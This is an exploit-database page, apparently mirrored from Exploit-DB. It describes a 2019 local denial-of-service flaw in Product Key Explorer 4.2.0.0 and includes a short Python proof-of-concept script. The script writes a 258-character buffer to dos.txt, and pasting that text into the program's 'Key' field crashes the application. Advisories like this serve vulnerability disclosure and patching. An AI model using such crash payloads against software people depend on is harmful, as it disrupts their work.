header-logo
Suggest Exploit
vendor:
Product Key Explorer
by:
SajjadBnd
7.5
CVSS
HIGH
Denial of Service (DoS) Local
400
CWE
Product Name: Product Key Explorer
Affected Version From: 4.2.0.0
Affected Version To: 4.2.0.0
Patch Exists: YES
Related CWE: N/A
CPE: a:nsasoft:product_key_explorer:4.2.0.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10 - Pro
2019

Product Key Explorer 4.2.0.0 – ‘Key’ Denial of Service (POC)

Product Key Explorer is a software program that allows users to recover product keys for software installed on their local and network computers. A denial of service vulnerability exists in Product Key Explorer 4.2.0.0, where a specially crafted file can cause a denial of service when the file is pasted into the 'Key' field. This can be exploited by an attacker to cause a denial of service condition.

Mitigation:

Upgrade to the latest version of Product Key Explorer.
Source

Exploit-DB raw data:

# Exploit Title: Product Key Explorer 4.2.0.0 - 'Key' Denial of Service (POC)
# Discovery by: SajjadBnd
# Date: 2019-12-10
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nsauditor.com/downloads/productkeyexplorer_setup.exe
# Tested Version: 4.2.0.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 - Pro
 
# [ About App ]
 
# Find product keys for over +9000 most popular programs: Windows 8.1, Windows 8, Windows 7, Vista,
# Windows 10, Microsoft Office, Adobe CS6, CS5, CS4 and CS3, Norton, Electronic Arts games, WinZip, Nero and more...
# Visit "Features" page to see all supported software list of programs with which product key finder works.
# Product Key Finder | Best Product Key Finder Software
# The Best Product Key Find and Recovery Software     
# Product key Explorer recovers product keys for software installed on your
# local and network computers, allows track the number of software licenses installed in your business.
# Product Key Finder | Best Product Key Finder Software
# The Best Product Key Find and Recovery Software     
# With Product Key Explorer you can recover lost product keys for all major software programs, prevent losing your investment and money!
# Product Key Finder | Best Product Key Finder Software
# The Best Product Key Find and Recovery Software     
# You can save product keys as Tab Delimited Txt File (.txt), Excel Workbook (.xls), CSV Comma Delimited (.csv),
# Access Database (.mdb), SQLLite3 Database, Web Page (.html) or XML Data (.xml) file, Print or Copy to Clipboard.
 

# [ POC ]
 
# 1.Run the python script, it will create a new file "dos.txt"
# 3.Run Product Key Explorer and click on "Register -> Enter Registration Code"
# 2.Paste the content of dos.txt into the Field: 'Key'
# 6.click 'ok'
# 5.Crashed ;)

#!/usr/bin/env python
buffer = "\x41" * 100
buffer += "\x42" * 100
buffer += "\x43" * 58
try:
    f = open("dos.txt","w")
    print "[+] Creating %s bytes DOS payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"